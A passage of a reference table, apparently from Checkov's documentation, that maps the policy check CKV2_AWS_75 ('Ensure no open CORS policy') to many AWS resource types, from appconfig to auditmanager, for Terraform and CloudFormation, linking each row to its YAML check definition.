aws_appconfig_extension | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2632 | CKV2_AWS_75 | resource | aws_appconfig_extension | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2633 | CKV2_AWS_75 | resource | aws_appconfig_extension_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2634 | CKV2_AWS_75 | resource | aws_appconfig_extension_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2635 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2636 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2637 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2638 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2639 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2640 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2641 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2642 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2643 | CKV2_AWS_75 | resource | aws_appfabric_ingestion | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2644 | CKV2_AWS_75 | resource | aws_appfabric_ingestion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2645 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2646 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2647 | CKV2_AWS_75 | resource | aws_appflow_connector_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2648 | CKV2_AWS_75 | resource | aws_appflow_connector_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2649 | CKV2_AWS_75 | resource | aws_appflow_flow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2650 | CKV2_AWS_75 | resource | aws_appflow_flow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2651 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2652 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2653 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2654 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2655 | CKV2_AWS_75 | resource | aws_applicationinsights_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2656 | CKV2_AWS_75 | resource | aws_applicationinsights_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2657 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2658 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2659 | CKV2_AWS_75 | resource | aws_appmesh_mesh | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2660 | CKV2_AWS_75 | resource | aws_appmesh_mesh | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2661 | CKV2_AWS_75 | resource | aws_appmesh_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2662 | CKV2_AWS_75 | resource | aws_appmesh_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2663 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2664 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2665 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2666 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2667 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2668 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2669 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2670 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2671 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2672 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2673 | CKV2_AWS_75 | resource | aws_apprunner_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2674 | CKV2_AWS_75 | resource | aws_apprunner_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2675 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2676 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2677 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2678 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2679 | CKV2_AWS_75 | resource | aws_apprunner_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2680 | CKV2_AWS_75 | resource | aws_apprunner_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2681 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2682 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2683 | CKV2_AWS_75 | resource | aws_apprunner_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2684 | CKV2_AWS_75 | resource | aws_apprunner_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2685 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2686 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2687 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2688 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2689 | CKV2_AWS_75 | resource | aws_appstream_directory_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2690 | CKV2_AWS_75 | resource | aws_appstream_directory_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2691 | CKV2_AWS_75 | resource | aws_appstream_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2692 | CKV2_AWS_75 | resource | aws_appstream_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2693 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2694 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2695 | CKV2_AWS_75 | resource | aws_appstream_image_builder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2696 | CKV2_AWS_75 | resource | aws_appstream_image_builder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2697 | CKV2_AWS_75 | resource | aws_appstream_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2698 | CKV2_AWS_75 | resource | aws_appstream_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2699 | CKV2_AWS_75 | resource | aws_appstream_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2700 | CKV2_AWS_75 | resource | aws_appstream_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2701 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2702 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2703 | CKV2_AWS_75 | resource | aws_appsync_api_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2704 | CKV2_AWS_75 | resource | aws_appsync_api_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2705 | CKV2_AWS_75 | resource | aws_appsync_api_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2706 | CKV2_AWS_75 | resource | aws_appsync_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2707 | CKV2_AWS_75 | resource | aws_appsync_datasource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2708 | CKV2_AWS_75 | resource | aws_appsync_datasource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2709 | CKV2_AWS_75 | resource | aws_appsync_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2710 | CKV2_AWS_75 | resource | aws_appsync_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2711 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2712 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2713 | CKV2_AWS_75 | resource | aws_appsync_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2714 | CKV2_AWS_75 | resource | aws_appsync_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2715 | CKV2_AWS_75 | resource | aws_appsync_graphql_api | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2716 | CKV2_AWS_75 | resource | aws_appsync_graphql_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2717 | CKV2_AWS_75 | resource | aws_appsync_resolver | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2718 | CKV2_AWS_75 | resource | aws_appsync_resolver | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2719 | CKV2_AWS_75 | resource | aws_appsync_source_api_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2720 | CKV2_AWS_75 | resource | aws_appsync_source_api_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2721 | CKV2_AWS_75 | resource | aws_appsync_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2722 | CKV2_AWS_75 | resource | aws_appsync_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2723 | CKV2_AWS_75 | resource | aws_athena_data_catalog | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2724 | CKV2_AWS_75 | resource | aws_athena_data_catalog | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2725 | CKV2_AWS_75 | resource | aws_athena_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2726 | CKV2_AWS_75 | resource | aws_athena_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2727 | CKV2_AWS_75 | resource | aws_athena_named_query | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2728 | CKV2_AWS_75 | resource | aws_athena_named_query | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2729 | CKV2_AWS_75 | resource | aws_athena_prepared_statement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2730 | CKV2_AWS_75 | resource | aws_athena_prepared_statement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2731 | CKV2_AWS_75 | resource | aws_athena_workgroup | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2732 | CKV2_AWS_75 | resource | aws_athena_workgroup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2733 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2734 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2735 | CKV2_AWS_75 | resource | aws_auditmanager_assessment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2736 | CKV2_AWS_75 | resource | aws_auditmanager_assessment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2737 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2738 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2739 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2740 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2741 | CKV2_AWS_75 | resource | aws_auditmanager_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2742 | CKV2_AWS_75 | resource | aws_auditmanager_control | Ensure no open CORS policy | Cloudformation | 